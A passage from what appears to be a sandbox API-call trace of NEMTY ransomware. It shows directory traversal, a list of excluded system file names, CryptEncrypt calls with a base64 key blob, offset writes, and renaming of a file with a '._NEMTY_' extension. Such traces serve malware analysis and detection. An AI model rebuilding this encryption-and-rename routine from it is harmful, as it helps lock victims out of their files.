hTemplateFile=0x0) returned 0x3cc [0078.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.627] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.627] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0078.628] CloseHandle (hObject=0x3cc) returned 1 [0078.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0078.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0078.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe28256b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe28256b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0078.629] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.629] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe28256b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe28256b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0078.629] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.629] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.629] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0078.629] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0078.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0078.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0078.630] Sleep (dwMilliseconds=0x5) [0078.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe284b810, dwHighDateTime=0x1d561e7)) [0078.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe284b810, dwHighDateTime=0x1d561e7)) [0078.637] GetLastError () returned 0xb7 [0078.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.637] GetLastError () returned 0xb7 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0078.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0078.638] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0078.638] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Eerdkx5xgjjZgTAisLDhYnhTsj017VvN2WqnJC4HeAA/MATPKsY1MYDxa2ccipzR\r\nED3W0q7M4V5Qd5ewvxl8j3PUgfuQEkNT2A6zU4rqxIF1OEiOhmeZ1fiTb3OamzLe\r\nXmOvJgdO0kPnhVuzDdON8IkS+9WPypH3MsV5hJWEu8Wo5ckoKBTq/J3I7I26F/SP\r\nwM3h4RQMbCdLsOQcw+Zq7vH9d9gSayKlbgJzPvH1CPl6V6PLixU2FTydW6pb5wKw\r\n4vPkZA/IzzKwCrlITYbVjwUvmX37wNl2IlinEh55iJcfWk3ZuJOxQU7VRLhgbJDT\r\nrQOXb1Ws76Aculr3bG1avw==\r\n", pcchString=0x653e91c) returned 1 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.638] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0078.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0078.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.745] CloseHandle (hObject=0xffffffff) returned 0 [0078.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0078.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0078.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.745] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0078.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.746] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 